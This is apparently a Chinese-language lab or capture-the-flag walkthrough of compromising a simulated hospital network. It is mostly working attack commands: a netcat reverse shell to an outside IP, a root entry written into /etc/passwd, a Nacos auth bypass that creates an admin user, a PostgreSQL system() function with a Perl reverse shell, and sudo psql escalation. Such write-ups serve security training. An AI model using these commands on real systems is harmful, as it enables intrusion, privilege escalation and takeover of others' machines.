先扫目录,扫出/actuator/泄露

8080端口一眼shiro,直接去找key

java -jar JDumpSpider-1.1-SNAPSHOT-full.jar ~/Downloads/heapdump 

key是GAYysgMQhG7/CzIJlVpR2g==

无语啊,不要勾选AES GCM

我是傻逼,没看清扫描的结果

连上内存马之后发现是app权限,并且好像没有开启ssh,直接反弹shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 8.149.142.195 9999 >/tmp/f
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null

vim这个很可疑,去看看

猜测是vim

看看

sudo /usr/bin/vim.basic -c ':!/bin/bash'

不能提权?但是能直接vim

好像开了22,直接写root key权限好像不能改,但是能写passwd,试试看呢

openssl passwd -1 -salt new 123

写入passwd
new:$1$new$p7ptkEKU1HnaHpRtzNizS1:0:0:root:/root:/bin/bash

成功root了

现在写sshkey

可以ssh了

之后上fscan或者viper,这里先上下viper,接着改上代理了

内网

./fscan_amd64 -h 172.30.12.5/24

扫描结果

172.30.12.6 WORKGROUP\SERVER02      
172.30.12.5 本机,已拿下
172.30.12.236 web

看这个

[+] http://172.30.12.6:8848 poc-yaml-alibaba-nacos 
[+] http://172.30.12.6:8848 poc-yaml-alibaba-nacos-v1-auth-bypass 
[+] http://172.30.12.5:8080 poc-yaml-spring-actuator-heapdump-file 

nacos

nacos洞,我们先上代理,用emmm的gost

gost -L socks5://:1080

nohup argument_1 > output.log 2>&1 &

不懂为什么不开在ipv4

还是改用chisel了

挂上chisel就正常了,先打扫出来的

poc-yaml-alibaba-nacos-v1-auth-bypass 
curl -X GET 'http://172.30.12.6:8848/nacos/v1/auth/users?pageNo=1&pageSize=9'
{"totalCount":1,"pageNumber":1,"pagesAvailable":1,"pageItems":[{"username":"nacos","password":"$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"}]}⏎           

但是我解不出来hash

curl -X POST 'http://172.30.12.6:8848/nacos/v1/auth/users?username=admin&password=admin' -H 'User-Agent: Nacos-Server' | python -m json.tool

结果
{
    "code": 200,
    "message": "create user ok!",
    "data": null
}

再跑一遍就能发现我们的用户已经被创建了,那么直接登录

admin admin成功登录

但是登录没有什么作用

nacos实现rce有两种方法,一种是SnakeYaml反序列化,一种是Hessian 反序列化漏洞

python3 -m http.server 8000

起个web服务

然后

这样就好了,接下来rdp上去

成功了

flag02: flag{66b2f660-4c55-4887-9dfd-ec81cf81c5dc}

由于我们是管理员权限,可以直接拿到了

后台管理

172.30.12.236:8009 open
172.30.12.236:22 open
172.30.12.236:8080 open

枚举8009端口

 nmap -sV --script ajp-auth,ajp-headers,ajp-methods,ajp-request -n -p 8009 172.30.12.236

可以看到有fastjson依赖,用burp插件扫描

直接写马链接了,有效载荷记得改成java

在哥斯拉上直接写ssh,进去拿flag

root@web03:~# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.30.12.236  netmask 255.255.0.0  broadcast 172.30.255.255
        inet6 fe80::216:3eff:fe02:9736  prefixlen 64  scopeid 0x20<link>
        ether 00:16:3e:02:97:36  txqueuelen 1000  (Ethernet)
        RX packets 107137  bytes 121562871 (121.5 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 39758  bytes 12788172 (12.7 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.30.54.179  netmask 255.255.255.0  broadcast 172.30.54.255
        inet6 fe80::216:3eff:fe07:de56  prefixlen 64  scopeid 0x20<link>
        ether 00:16:3e:07:de:56  txqueuelen 1000  (Ethernet)
        RX packets 1588  bytes 66696 (66.6 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 1607  bytes 68162 (68.1 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 2865  bytes 248972 (248.9 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 2865  bytes 248972 (248.9 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

最后一台机器的端倪

172.30.54.179 

最后一台

[*] WebTitle: http://172.30.54.12:3000  code:302 len:29     title:None 跳转url: http://172.30.54.12:3000/login
[*] WebTitle: http://172.30.54.179:8080 code:200 len:3964   title:医院后台管理平台
[*] WebTitle: http://172.30.54.12:3000/login code:200 len:27909  title:Grafana

那还得做个代理啊

存在弱口令admin admin

登录之后没啥用

22/tcp   open  ssh
3000/tcp open  ppp
5432/tcp open  postgresql

在之前那个web03

./grafanaExp_linux_amd64 exp -u http://172.30.54.12:3000

读出来密码

这里是在web03上装了软件

sudo apt update
sudo apt install postgresql-client

然后

psql -h 172.30.54.12 -p 5432 -U postgres

如果不能装,也能在本地p4,考验多重代理的时候到了

正常弹shell

CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
select system('perl -e \'use Socket;$i="172.30.54.179";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'');
python3 -c 'import pty;pty.spawn("/bin/bash")'
sudo -l

提权

sudo /usr/local/postgresql/bin/psql
\?
!/bin/bash
cat /root/flag/flag04.txt

这里要输入root的密码,可以用

select usename, passwd from pg_shadow;

来获取md5值

买不起

所以

ALTER USER root WITH PASSWORD 'Admin@123';

直接把root密码给改了